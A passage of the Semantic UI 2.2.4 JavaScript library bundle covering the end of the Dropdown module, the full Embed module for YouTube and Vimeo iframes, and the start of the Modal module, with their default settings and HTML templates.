                    onComplete : function() {
                      if(settings.direction == 'auto') {
                        module.remove.upward($subMenu);
                      }
                      callback.call(element);
                    }
                  })
                ;
              }
              else {
                module.error(error.transition);
              }
            }
          }
        },

        hideAndClear: function() {
          module.remove.searchTerm();
          if( module.has.maxSelections() ) {
            return;
          }
          if(module.has.search()) {
            module.hide(function() {
              module.remove.filteredItem();
            });
          }
          else {
            module.hide();
          }
        },

        delay: {
          show: function() {
            module.verbose('Delaying show event to ensure user intent');
            clearTimeout(module.timer);
            module.timer = setTimeout(module.show, settings.delay.show);
          },
          hide: function() {
            module.verbose('Delaying hide event to ensure user intent');
            clearTimeout(module.timer);
            module.timer = setTimeout(module.hide, settings.delay.hide);
          }
        },

        escape: {
          value: function(value) {
            var
              multipleValues = $.isArray(value),
              stringValue    = (typeof value === 'string'),
              isUnparsable   = (!stringValue && !multipleValues),
              hasQuotes      = (stringValue && value.search(regExp.quote) !== -1),
              values         = []
            ;
            if(!module.has.selectInput() || isUnparsable || !hasQuotes) {
              return value;
            }
            module.debug('Encoding quote values for use in select', value);
            if(multipleValues) {
              $.each(value, function(index, value){
                values.push(value.replace(regExp.quote, '&quot;'));
              });
              return values;
            }
            return value.replace(regExp.quote, '&quot;');
          },
          regExp: function(text) {
            text =  String(text);
            return text.replace(regExp.escape, '\\$&');
          }
        },

        setting: function(name, value) {
          module.debug('Changing setting', name, value);
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            if($.isPlainObject(settings[name])) {
              $.extend(true, settings[name], value);
            }
            else {
              settings[name] = value;
            }
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                module.error(error.method, query);
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };

      if(methodInvoked) {
        if(instance === undefined) {
          module.initialize();
        }
        module.invoke(query);
      }
      else {
        if(instance !== undefined) {
          instance.invoke('destroy');
        }
        module.initialize();
      }
    })
  ;
  return (returnedValue !== undefined)
    ? returnedValue
    : $allModules
  ;
};

$.fn.dropdown.settings = {

  silent                 : false,
  debug                  : false,
  verbose                : false,
  performance            : true,

  on                     : 'click',    // what event should show menu action on item selection
  action                 : 'activate', // action on item selection (nothing, activate, select, combo, hide, function(){})


  apiSettings            : false,
  selectOnKeydown        : true,       // Whether selection should occur automatically when keyboard shortcuts used
  minCharacters          : 0,          // Minimum characters required to trigger API call
  saveRemoteData         : true,       // Whether remote name/value pairs should be stored in sessionStorage to allow remote data to be restored on page refresh
  throttle               : 200,        // How long to wait after last user input to search remotely

  context                : window,     // Context to use when determining if on screen
  direction              : 'auto',     // Whether dropdown should always open in one direction
  keepOnScreen           : true,       // Whether dropdown should check whether it is on screen before showing

  match                  : 'both',     // what to match against with search selection (both, text, or label)
  fullTextSearch         : false,      // search anywhere in value (set to 'exact' to require exact matches)

  placeholder            : 'auto',     // whether to convert blank <select> values to placeholder text
  preserveHTML           : true,       // preserve html when selecting value
  sortSelect             : false,      // sort selection on init

  forceSelection         : true,       // force a choice on blur with search selection

  allowAdditions         : false,      // whether multiple select should allow user added values
  hideAdditions          : true,      // whether or not to hide special message prompting a user they can enter a value

  maxSelections          : false,      // When set to a number limits the number of selections to this count
  useLabels              : true,       // whether multiple select should filter currently active selections from choices
  delimiter              : ',',        // when multiselect uses normal <input> the values will be delimited with this character

  showOnFocus            : true,       // show menu on focus
  allowReselection       : false,      // whether current value should trigger callbacks when reselected
  allowTab               : true,       // add tabindex to element
  allowCategorySelection : false,      // allow elements with sub-menus to be selected

  fireOnInit             : false,      // Whether callbacks should fire when initializing dropdown values

  transition             : 'auto',     // auto transition will slide down or up based on direction
  duration               : 200,        // duration of transition

  glyphWidth             : 1.037,      // widest glyph width in em (W is 1.037 em) used to calculate multiselect input width

  // label settings on multi-select
  label: {
    transition : 'scale',
    duration   : 200,
    variation  : false
  },

  // delay before event
  delay : {
    hide   : 300,
    show   : 200,
    search : 20,
    touch  : 50
  },

  /* Callbacks */
  onChange      : function(value, text, $selected){},
  onAdd         : function(value, text, $selected){},
  onRemove      : function(value, text, $selected){},

  onLabelSelect : function($selectedLabels){},
  onLabelCreate : function(value, text) { return $(this); },
  onLabelRemove : function(value) { return true; },
  onNoResults   : function(searchTerm) { return true; },
  onShow        : function(){},
  onHide        : function(){},

  /* Component */
  name           : 'Dropdown',
  namespace      : 'dropdown',

  message: {
    addResult     : 'Add <b>{term}</b>',
    count         : '{count} selected',
    maxSelections : 'Max {maxCount} selections',
    noResults     : 'No results found.',
    serverError   : 'There was an error contacting the server'
  },

  error : {
    action          : 'You called a dropdown action that was not defined',
    alreadySetup    : 'Once a select has been initialized behaviors must be called on the created ui dropdown',
    labels          : 'Allowing user additions currently requires the use of labels.',
    missingMultiple : '<select> requires multiple property to be set to correctly preserve multiple values',
    method          : 'The method you called is not defined.',
    noAPI           : 'The API module is required to load resources remotely',
    noStorage       : 'Saving remote data requires session storage',
    noTransition    : 'This module requires ui transitions <https://github.com/Semantic-Org/UI-Transition>'
  },

  regExp : {
    escape   : /[-[\]{}()*+?.,\\^$|#\s]/g,
    quote    : /"/g
  },

  metadata : {
    defaultText     : 'defaultText',
    defaultValue    : 'defaultValue',
    placeholderText : 'placeholder',
    text            : 'text',
    value           : 'value'
  },

  // property names for remote query
  fields: {
    remoteValues : 'results',  // grouping for api results
    values       : 'values',   // grouping for all dropdown values
    disabled     : 'disabled', // whether value should be disabled
    name         : 'name',     // displayed dropdown text
    value        : 'value',    // actual dropdown value
    text         : 'text'      // displayed text when selected
  },

  keys : {
    backspace  : 8,
    delimiter  : 188, // comma
    deleteKey  : 46,
    enter      : 13,
    escape     : 27,
    pageUp     : 33,
    pageDown   : 34,
    leftArrow  : 37,
    upArrow    : 38,
    rightArrow : 39,
    downArrow  : 40
  },

  selector : {
    addition     : '.addition',
    dropdown     : '.ui.dropdown',
    hidden       : '.hidden',
    icon         : '> .dropdown.icon',
    input        : '> input[type="hidden"], > select',
    item         : '.item',
    label        : '> .label',
    remove       : '> .label > .delete.icon',
    siblingLabel : '.label',
    menu         : '.menu',
    message      : '.message',
    menuIcon     : '.dropdown.icon',
    search       : 'input.search, .menu > .search > input, .menu input.search',
    sizer        : '> input.sizer',
    text         : '> .text:not(.icon)',
    unselectable : '.disabled, .filtered'
  },

  className : {
    active      : 'active',
    addition    : 'addition',
    animating   : 'animating',
    disabled    : 'disabled',
    empty       : 'empty',
    dropdown    : 'ui dropdown',
    filtered    : 'filtered',
    hidden      : 'hidden transition',
    item        : 'item',
    label       : 'ui label',
    loading     : 'loading',
    menu        : 'menu',
    message     : 'message',
    multiple    : 'multiple',
    placeholder : 'default',
    sizer       : 'sizer',
    search      : 'search',
    selected    : 'selected',
    selection   : 'selection',
    upward      : 'upward',
    visible     : 'visible'
  }

};

/* Templates */
$.fn.dropdown.settings.templates = {

  // generates dropdown from select values
  dropdown: function(select) {
    var
      placeholder = select.placeholder || false,
      values      = select.values || {},
      html        = ''
    ;
    html +=  '<i class="dropdown icon"></i>';
    if(select.placeholder) {
      html += '<div class="default text">' + placeholder + '</div>';
    }
    else {
      html += '<div class="text"></div>';
    }
    html += '<div class="menu">';
    $.each(select.values, function(index, option) {
      html += (option.disabled)
        ? '<div class="disabled item" data-value="' + option.value + '">' + option.name + '</div>'
        : '<div class="item" data-value="' + option.value + '">' + option.name + '</div>'
      ;
    });
    html += '</div>';
    return html;
  },

  // generates just menu from select
  menu: function(response, fields) {
    var
      values = response[fields.values] || {},
      html   = ''
    ;
    $.each(values, function(index, option) {
      var
        maybeText = (option[fields.text])
          ? 'data-text="' + option[fields.text] + '"'
          : '',
        maybeDisabled = (option[fields.disabled])
          ? 'disabled '
          : ''
      ;
      html += '<div class="'+ maybeDisabled +'item" data-value="' + option[fields.value] + '"' + maybeText + '>'
      html +=   option[fields.name];
      html += '</div>';
    });
    return html;
  },

  // generates label for multiselect
  label: function(value, text) {
    return text + '<i class="delete icon"></i>';
  },


  // generates messages like "No results"
  message: function(message) {
    return message;
  },

  // generates user addition to selection menu
  addition: function(choice) {
    return choice;
  }

};

})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - Embed
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.embed = function(parameters) {

  var
    $allModules     = $(this),

    moduleSelector  = $allModules.selector || '',

    time            = new Date().getTime(),
    performance     = [],

    query           = arguments[0],
    methodInvoked   = (typeof query == 'string'),
    queryArguments  = [].slice.call(arguments, 1),

    returnedValue
  ;

  $allModules
    .each(function() {
      var
        settings        = ( $.isPlainObject(parameters) )
          ? $.extend(true, {}, $.fn.embed.settings, parameters)
          : $.extend({}, $.fn.embed.settings),

        selector        = settings.selector,
        className       = settings.className,
        sources         = settings.sources,
        error           = settings.error,
        metadata        = settings.metadata,
        namespace       = settings.namespace,
        templates       = settings.templates,

        eventNamespace  = '.' + namespace,
        moduleNamespace = 'module-' + namespace,

        $window         = $(window),
        $module         = $(this),
        $placeholder    = $module.find(selector.placeholder),
        $icon           = $module.find(selector.icon),
        $embed          = $module.find(selector.embed),

        element         = this,
        instance        = $module.data(moduleNamespace),
        module
      ;

      module = {

        initialize: function() {
          module.debug('Initializing embed');
          module.determine.autoplay();
          module.create();
          module.bind.events();
          module.instantiate();
        },

        instantiate: function() {
          module.verbose('Storing instance of module', module);
          instance = module;
          $module
            .data(moduleNamespace, module)
          ;
        },

        destroy: function() {
          module.verbose('Destroying previous instance of embed');
          module.reset();
          $module
            .removeData(moduleNamespace)
            .off(eventNamespace)
          ;
        },

        refresh: function() {
          module.verbose('Refreshing selector cache');
          $placeholder = $module.find(selector.placeholder);
          $icon        = $module.find(selector.icon);
          $embed       = $module.find(selector.embed);
        },

        bind: {
          events: function() {
            if( module.has.placeholder() ) {
              module.debug('Adding placeholder events');
              $module
                .on('click' + eventNamespace, selector.placeholder, module.createAndShow)
                .on('click' + eventNamespace, selector.icon, module.createAndShow)
              ;
            }
          }
        },

        create: function() {
          var
            placeholder = module.get.placeholder()
          ;
          if(placeholder) {
            module.createPlaceholder();
          }
          else {
            module.createAndShow();
          }
        },

        createPlaceholder: function(placeholder) {
          var
            icon  = module.get.icon(),
            url   = module.get.url(),
            embed = module.generate.embed(url)
          ;
          placeholder = placeholder || module.get.placeholder();
          $module.html( templates.placeholder(placeholder, icon) );
          module.debug('Creating placeholder for embed', placeholder, icon);
        },

        createEmbed: function(url) {
          module.refresh();
          url = url || module.get.url();
          $embed = $('<div/>')
            .addClass(className.embed)
            .html( module.generate.embed(url) )
            .appendTo($module)
          ;
          settings.onCreate.call(element, url);
          module.debug('Creating embed object', $embed);
        },

        changeEmbed: function(url) {
          $embed
            .html( module.generate.embed(url) )
          ;
        },

        createAndShow: function() {
          module.createEmbed();
          module.show();
        },

        // sets new embed
        change: function(source, id, url) {
          module.debug('Changing video to ', source, id, url);
          $module
            .data(metadata.source, source)
            .data(metadata.id, id)
          ;
          if(url) {
            $module.data(metadata.url, url);
          }
          else {
            $module.removeData(metadata.url);
          }
          if(module.has.embed()) {
            module.changeEmbed();
          }
          else {
            module.create();
          }
        },

        // clears embed
        reset: function() {
          module.debug('Clearing embed and showing placeholder');
          module.remove.active();
          module.remove.embed();
          module.showPlaceholder();
          settings.onReset.call(element);
        },

        // shows current embed
        show: function() {
          module.debug('Showing embed');
          module.set.active();
          settings.onDisplay.call(element);
        },

        hide: function() {
          module.debug('Hiding embed');
          module.showPlaceholder();
        },

        showPlaceholder: function() {
          module.debug('Showing placeholder image');
          module.remove.active();
          settings.onPlaceholderDisplay.call(element);
        },

        get: {
          id: function() {
            return settings.id || $module.data(metadata.id);
          },
          placeholder: function() {
            return settings.placeholder || $module.data(metadata.placeholder);
          },
          icon: function() {
            return (settings.icon)
              ? settings.icon
              : ($module.data(metadata.icon) !== undefined)
                ? $module.data(metadata.icon)
                : module.determine.icon()
            ;
          },
          source: function(url) {
            return (settings.source)
              ? settings.source
              : ($module.data(metadata.source) !== undefined)
                ? $module.data(metadata.source)
                : module.determine.source()
            ;
          },
          type: function() {
            var source = module.get.source();
            return (sources[source] !== undefined)
              ? sources[source].type
              : false
            ;
          },
          url: function() {
            return (settings.url)
              ? settings.url
              : ($module.data(metadata.url) !== undefined)
                ? $module.data(metadata.url)
                : module.determine.url()
            ;
          }
        },

        determine: {
          autoplay: function() {
            if(module.should.autoplay()) {
              settings.autoplay = true;
            }
          },
          source: function(url) {
            var
              matchedSource = false
            ;
            url = url || module.get.url();
            if(url) {
              $.each(sources, function(name, source) {
                if(url.search(source.domain) !== -1) {
                  matchedSource = name;
                  return false;
                }
              });
            }
            return matchedSource;
          },
          icon: function() {
            var
              source = module.get.source()
            ;
            return (sources[source] !== undefined)
              ? sources[source].icon
              : false
            ;
          },
          url: function() {
            var
              id     = settings.id     || $module.data(metadata.id),
              source = settings.source || $module.data(metadata.source),
              url
            ;
            url = (sources[source] !== undefined)
              ? sources[source].url.replace('{id}', id)
              : false
            ;
            if(url) {
              $module.data(metadata.url, url);
            }
            return url;
          }
        },


        set: {
          active: function() {
            $module.addClass(className.active);
          }
        },

        remove: {
          active: function() {
            $module.removeClass(className.active);
          },
          embed: function() {
            $embed.empty();
          }
        },

        encode: {
          parameters: function(parameters) {
            var
              urlString = [],
              index
            ;
            for (index in parameters) {
              urlString.push( encodeURIComponent(index) + '=' + encodeURIComponent( parameters[index] ) );
            }
            return urlString.join('&amp;');
          }
        },

        generate: {
          embed: function(url) {
            module.debug('Generating embed html');
            var
              source = module.get.source(),
              html,
              parameters
            ;
            url = module.get.url(url);
            if(url) {
              parameters = module.generate.parameters(source);
              html       = templates.iframe(url, parameters);
            }
            else {
              module.error(error.noURL, $module);
            }
            return html;
          },
          parameters: function(source, extraParameters) {
            var
              parameters = (sources[source] && sources[source].parameters !== undefined)
                ? sources[source].parameters(settings)
                : {}
            ;
            extraParameters = extraParameters || settings.parameters;
            if(extraParameters) {
              parameters = $.extend({}, parameters, extraParameters);
            }
            parameters = settings.onEmbed(parameters);
            return module.encode.parameters(parameters);
          }
        },

        has: {
          embed: function() {
            return ($embed.length > 0);
          },
          placeholder: function() {
            return settings.placeholder || $module.data(metadata.placeholder);
          }
        },

        should: {
          autoplay: function() {
            return (settings.autoplay === 'auto')
              ? (settings.placeholder || $module.data(metadata.placeholder) !== undefined)
              : settings.autoplay
            ;
          }
        },

        is: {
          video: function() {
            return module.get.type() == 'video';
          }
        },

        setting: function(name, value) {
          module.debug('Changing setting', name, value);
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            if($.isPlainObject(settings[name])) {
              $.extend(true, settings[name], value);
            }
            else {
              settings[name] = value;
            }
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if($allModules.length > 1) {
              title += ' ' + '(' + $allModules.length + ')';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                module.error(error.method, query);
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };

      if(methodInvoked) {
        if(instance === undefined) {
          module.initialize();
        }
        module.invoke(query);
      }
      else {
        if(instance !== undefined) {
          instance.invoke('destroy');
        }
        module.initialize();
      }
    })
  ;
  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.fn.embed.settings = {

  name        : 'Embed',
  namespace   : 'embed',

  silent      : false,
  debug       : false,
  verbose     : false,
  performance : true,

  icon     : false,
  source   : false,
  url      : false,
  id       : false,

  // standard video settings
  autoplay  : 'auto',
  color     : '#444444',
  hd        : true,
  brandedUI : false,

  // additional parameters to include with the embed
  parameters: false,

  onDisplay            : function() {},
  onPlaceholderDisplay : function() {},
  onReset              : function() {},
  onCreate             : function(url) {},
  onEmbed              : function(parameters) {
    return parameters;
  },

  metadata    : {
    id          : 'id',
    icon        : 'icon',
    placeholder : 'placeholder',
    source      : 'source',
    url         : 'url'
  },

  error : {
    noURL  : 'No URL specified',
    method : 'The method you called is not defined'
  },

  className : {
    active : 'active',
    embed  : 'embed'
  },

  selector : {
    embed       : '.embed',
    placeholder : '.placeholder',
    icon        : '.icon'
  },

  sources: {
    youtube: {
      name   : 'youtube',
      type   : 'video',
      icon   : 'video play',
      domain : 'youtube.com',
      url    : '//www.youtube.com/embed/{id}',
      parameters: function(settings) {
        return {
          autohide       : !settings.brandedUI,
          autoplay       : settings.autoplay,
          color          : settings.color || undefined,
          hq             : settings.hd,
          jsapi          : settings.api,
          modestbranding : !settings.brandedUI
        };
      }
    },
    vimeo: {
      name   : 'vimeo',
      type   : 'video',
      icon   : 'video play',
      domain : 'vimeo.com',
      url    : '//player.vimeo.com/video/{id}',
      parameters: function(settings) {
        return {
          api      : settings.api,
          autoplay : settings.autoplay,
          byline   : settings.brandedUI,
          color    : settings.color || undefined,
          portrait : settings.brandedUI,
          title    : settings.brandedUI
        };
      }
    }
  },

  templates: {
    iframe : function(url, parameters) {
      var src = url;
      if (parameters) {
          src += '?' + parameters;
      }
      return ''
        + '<iframe src="' + src + '"'
        + ' width="100%" height="100%"'
        + ' frameborder="0" scrolling="no" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>'
      ;
    },
    placeholder : function(image, icon) {
      var
        html = ''
      ;
      if(icon) {
        html += '<i class="' + icon + ' icon"></i>';
      }
      if(image) {
        html += '<img class="placeholder" src="' + image + '">';
      }
      return html;
    }
  },

  // NOT YET IMPLEMENTED
  api     : false,
  onPause : function() {},
  onPlay  : function() {},
  onStop  : function() {}

};



})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - Modal
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.modal = function(parameters) {
  var
    $allModules    = $(this),
    $window        = $(window),
    $document      = $(document),
    $body          = $('body'),

    moduleSelector = $allModules.selector || '',

    time           = new Date().getTime(),
    performance    = [],

    query          = arguments[0],
    methodInvoked  = (typeof query == 'string'),
    queryArguments = [].slice.call(arguments, 1),

    requestAnimationFrame = window.requestAnimationFrame
      || window.mozRequestAnimationFrame
      || window.webkitRequestAnimationFrame
      || window.msRequestAnimationFrame
      || function(callback) { setTimeout(callback, 0); },

    returnedValue
  ;

  $allModules
    .each(function() {
      var
        settings    = ( $.isPlainObject(parameters) )
          ? $.extend(true, {}, $.fn.modal.settings, parameters)
          : $.extend({}, $.fn.modal.settings),

        selector        = settings.selector,
        className       = settings.className,
        namespace       = settings.namespace,
        error           = settings.error,

        eventNamespace  = '.' + namespace,
        moduleNamespace = 'module-' + namespace,

        $module         = $(this),
        $context        = $(settings.context),
        $close          = $module.find(selector.close),

        $allModals,
        $otherModals,
        $focusedElement,
        $dimmable,
        $dimmer,

        element         = this,
        instance        = $module.data(moduleNamespace),

        elementEventNamespace,
        id,
        observer,
        module
      ;
      module  = {

        initialize: function() {
          module.verbose('Initializing dimmer', $context);

          module.create.id();
          module.create.dimmer();
          module.refreshModals();

          module.bind.events();
          if(settings.observeChanges) {
            module.observeChanges();
          }
          module.instantiate();
        },

        instantiate: function() {
          module.verbose('Storing instance of modal');
          instance = module;
          $module
            .data(moduleNamespace, instance)
          ;
        },

        create: {
          dimmer: function() {
            var
              defaultSettings = {
                debug      : settings.debug,
                dimmerName : 'modals',
                duration   : {
                  show     : settings.duration,
                  hide     : settings.duration
                }
              },
              dimmerSettings = $.extend(true, defaultSettings, settings.dimmerSettings)
            ;
            if(settings.inverted) {
              dimmerSettings.variation = (dimmerSettings.variation !== undefined)
                ? dimmerSettings.variation + ' inverted'
                : 'inverted'
              ;
            }
            if($.fn.dimmer === undefined) {
              module.error(error.dimmer);
              return;
            }
            module.debug('Creating dimmer with settings', dimmerSettings);
            $dimmable = $context.dimmer(dimmerSettings);
            if(settings.detachable) {
              module.verbose('Modal is detachable, moving content into dimmer');
              $dimmable.dimmer('add content', $module);
            }
            else {
              module.set.undetached();
            }
            if(settings.blurring) {
              $dimmable.addClass(className.blurring);
            }
            $dimmer = $dimmable.dimmer('get dimmer');
          },
          id: function() {
            id = (Math.random().toString(16) + '000000000').substr(2,8);
            elementEventNamespace = '.' + id;
            module.verbose('Creating unique id for element', id);
          }
        },

        destroy: function() {
          module.verbose('Destroying previous modal');
          $module
            .removeData(moduleNamespace)
            .off(eventNamespace)
          ;
          $window.off(elementEventNamespace);
          $dimmer.off(elementEventNamespace);
          $close.off(eventNamespace);
          $context.dimmer('destroy');
        },

        observeChanges: function() {
          if('MutationObserver' in window) {
            observer = new MutationObserver(function(mutations) {
              module.debug('DOM tree modified, refreshing');
              module.refresh();
            });
            observer.observe(element, {
              childList : true,
              subtree   : true
            });
            module.debug('Setting up mutation observer', observer);
          }
        },

        refresh: function() {
          module.remove.scrolling();
          module.cacheSizes();
          module.set.screenHeight();
          module.set.type();
          module.set.position();
        },

        refreshModals: function() {
          $otherModals = $module.siblings(selector.modal);
          $allModals   = $otherModals.add($module);
        },

        attachEvents: function(selector, event) {
          var
            $toggle = $(selector)
          ;
          event = $.isFunction(module[event])
            ? module[event]
            : module.toggle
          ;
          if($toggle.length > 0) {
            module.debug('Attaching modal events to element', selector, event);
            $toggle
              .off(eventNamespace)
              .on('click' + eventNamespace, event)
            ;
          }
          else {
            module.error(error.notFound, selector);
          }
        },

        bind: {
          events: function() {
            module.verbose('Attaching events');
            $module
              .on('click' + eventNamespace, selector.close, module.event.close)
              .on('click' + eventNamespace, selector.approve, module.event.approve)
              .on('click' + eventNamespace, selector.deny, module.event.deny)
            ;
            $window
              .on('resize' + elementEventNamespace, module.event.resize)
            ;
          }
        },

        get: {
          id: function() {
            return (Math.random().toString(16) + '000000000').substr(2,8);
          }
        },

        event: {
          approve: function() {
            if(settings.onApprove.call(element, $(this)) === false) {
              module.verbose('Approve callback returned false cancelling hide');
              return;
            }
            module.hide();
          },
          deny: function() {
            if(settings.onDeny.call(element, $(this)) === false) {
              module.verbose('Deny callback returned false cancelling hide');
              return;
            }
            module.hide();
          },
          close: function() {
            module.hide();
          },
          click: function(event) {
            var
              $target   = $(event.target),
              isInModal = ($target.closest(selector.modal).length > 0),
              isInDOM   = $.contains(document.documentElement, event.target)
            ;
            if(!isInModal && isInDOM) {
              module.debug('Dimmer clicked, hiding all modals');
              if( module.is.active() ) {
                module.remove.clickaway();
                if(settings.allowMultiple) {
                  module.hide();
                }
                else {
                  module.hideAll();
                }
              }
            }
          },
          debounce: function(method, delay) {
            clearTimeout(module.timer);
            module.timer = setTimeout(method, delay);
          },
          keyboard: function(event) {
            var
              keyCode   = event.which,
              escapeKey = 27
            ;
            if(keyCode == escapeKey) {
              if(settings.closable) {
                module.debug('Escape key pressed hiding modal');
                module.hide();
              }
              else {
                module.debug('Escape key pressed, but closable is set to false');
              }
              event.preventDefault();
            }
          },
          resize: function() {
            if( $dimmable.dimmer('is active') ) {
              requestAnimationFrame(module.refresh);
            }
          }
        },

        toggle: function() {
          if( module.is.active() || module.is.animating() ) {
            module.hide();
          }
          else {
            module.show();
          }
        },

        show: function(callback) {
          callback = $.isFunction(callback)
            ? callback
            : function(){}
          ;
          module.refreshModals();
          module.showModal(callback);
        },

        hide: function(callback) {
          callback = $.isFunction(callback)
            ? callback
            : function(){}
          ;
          module.refreshModals();
          module.hideModal(callback);
        },

        showModal: function(callback) {
          callback = $.isFunction(callback)
            ? callback
            : function(){}
          ;
          if( module.is.animating() || !module.is.active() ) {

            module.showDimmer();
            module.cacheSizes();
            module.set.position();
            module.set.screenHeight();
            module.set.type();
            module.set.clickaway();

            if( !settings.allowMultiple && module.others.active() ) {
              module.hideOthers(module.showModal);
            }
            else {
              settings.onShow.call(element);
